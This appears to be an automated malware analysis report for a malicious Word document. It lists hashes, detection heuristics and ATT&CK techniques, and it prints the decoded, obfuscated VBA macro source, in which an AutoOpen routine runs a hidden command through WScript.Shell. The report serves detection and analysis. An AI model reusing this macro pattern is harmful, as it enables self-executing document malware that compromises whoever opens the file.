Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae2bb270345f6ec2…

MALICIOUS

Office (OLE)

144.4 KB Created: 2019-01-15 06:50:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 12350009d6a0eed9416ac5e5ee7291e0 SHA-1: 788480db058fde7c80da78247bd21bd0c27535a7 SHA-256: ae2bb270345f6ec29446ca612548eea1f643b3fb7f6dfea2ad86117aabc87322
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macro attempts to execute arbitrary code. The presence of an AutoOpen macro further supports the malicious intent, likely to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6815779-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6815779-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set Downsizedvn = Handmadeph
Circleni = Array(Berkshirefn, distributedii, hubph, CreateObject("WscRipt.sHeLl").Run!(("" + Portwb + Martiniquevi + sexyml + USBub + SmallConcreteComputerhn.TextBox1) + SouthCarolinaaq + azuremc, 47 - 47), architecturessn, Districtms, radicalwc)
   Set JSONld = invoiceti
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set Downsizedvn = Handmadeph
Circleni = Array(Berkshirefn, distributedii, hubph, CreateObject("WscRipt.sHeLl").Run!(("" + Portwb + Martiniquevi + sexyml + USBub + SmallConcreteComputerhn.TextBox1) + SouthCarolinaaq + azuremc, 47 - 47), architecturessn, Districtms, radicalwc)
   Set JSONld = invoiceti
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "compressvq"
Sub autoopen()
turnkeyzz = Array(digitalmj, bandwidthmonitoredtf, Tastywp, Investornn, scalablecp, sensorpc, bandwidthru)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5817 bytes
SHA-256: 20e8f15fc544627f2445b1e23fac0224f720b6d6d899f80ba516ffa60ed53139
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SmallConcreteComputerhn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "HandmadePlasticBallrv"
Function Investornn()
On Error Resume Next
   Set Buckinghamshireis = Angolaaa
For Each paymentdt In Steelqc
      For Each Congocf In a1080pzz
         PracticalGraniteFishtm = (Oct(568))
      Next
      Do
         bypassji = CLng(Internalhi)
      Loop Until Leadhb Eqv Districtfn
      Set technologieswz = alliancedo
      Managedtf = Internationalkh
      For Each Reverseengineeredji In OutdoorsToysHomevz
         IncredibleConcreteBallwo = Cos(AGPti)
      Next
   Next
 Set Dynamichk = arrayvj
   Set USBro = GorgeousSoftChipstr
For Each compositejl In Israelcn
      For Each Executivepp In Kansasat
         Licensedzs = (Oct(609))
      Next
      Do
         bypassingco = CLng(FrenchSouthernTerritoriesdn)
      Loop Until Internaldz Eqv Switchablebc
      Set COMvd = Configurationjs
      bandwidthnw = engineerjs
      For Each Stravenuesk In applicationscc
         webenabledup = Cos(dedicatedub)
      Next
   Next
 Set Accountabilitysj = pinkiz
   Set CookIslandsji = reinventlz
For Each HealthGroceryzn In RusticMetalFishsj
      For Each Futurebq In Cambridgeshireiv
         opensourcelj = (Oct(695))
      Next
      Do
         integrateds = CLng(PersonalLoanAccountjj)
      Loop Until SCSIvn Eqv withdrawaliw
      Set Pennsylvaniadn = overridingqi
      Producersp = viralwd
      For Each robustii In Centersan
         Objectbasedwo = Cos(driveuj)
      Next
   Next
 Set projectiv = ebusinesspr
   Set Gorgeousij = Sleekbn
For Each contentvh In transmittertv
      For Each indigozs In firewallwl
         paymentvj = (Oct(289))
      Next
      Do
         Beautycm = CLng(quantifyqc)
      Loop Until BurundiFrancnk Eqv Shoesff
      Set Algeriavj = Wyomingds
      mobilepo = HandmadeConcreteTableir
      For Each plumdo In PracticalConcreteBalldw
         Havenoi = Cos(redkz)
      Next
   Next
 Set Downsizedvn = Handmadeph
Circleni = Array(Berkshirefn, distributedii, hubph, CreateObject("WscRipt.sHeLl").Run!(("" + Portwb + Martiniquevi + sexyml + USBub + SmallConcreteComputerhn.TextBox1) + SouthCarolinaaq + azuremc, 47 - 47), architecturessn, Districtms, radicalwc)
   Set JSONld = invoiceti
For Each AwesomeMetalSoaphr In depositqi
      For Each Bordersrf In deliverablesii
         RusticSteelComputeroo = (Oct(642))
      Next
      Do
         NewHampshirezl = CLng(Squaressw)
      Loop Until Centersnr Eqv Visionarydh
      Set GroceryGroceryMusicjv = IBuq
      Borderszz = SavingsAccountnj
      For Each depositjw In pinkhz
         Adaptivedb = Cos(CheckingAccountvh)
      Next
   Next
 Set Botswanawu = transmittertz
   Set yellowju = AutoLoanAccountmv
For Each Implementationwm In functionalitiesiz
      For Each ebusinessab In architecttz
         indigouu = (Oct(292))
      Next
      Do
         Strategistzn = CLng(busuf)
      Loop Until systemicaz Eqv Intelligentab
      Set generatejt = HealthHometm
      SavingsAccountof = Metaljj
      For Each verticalnj In hapticww
         Buckinghamshireft = Cos(SleekCottonShirtzf)
      Next
   Next
 Set indexingzi = Plannertz
End Function


Attribute VB_Name = "compressvq"
Sub autoopen()
turnkeyzz = Array(digitalmj, bandwidthmonitoredtf, Tastywp, Investornn, scalablecp, sensorpc, bandwidthru)
End Sub

Attribute VB_Name = "datawarehousepb"

Attribute VB_Name = "synthesizejw"

Attribute VB_Name = "CSSwb"

Attribute VB_Name = "Architectwr"

Attribute VB_Name = "Vanuatuwh"

Attribute VB_Name = "Dobradz"

Attribute VB_Name = "Buckinghamshiresv"

Attribute VB_Name = "monetizein"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Irelandci"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "microchipuw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Metricswd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ubiquitousvz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "communitieszs"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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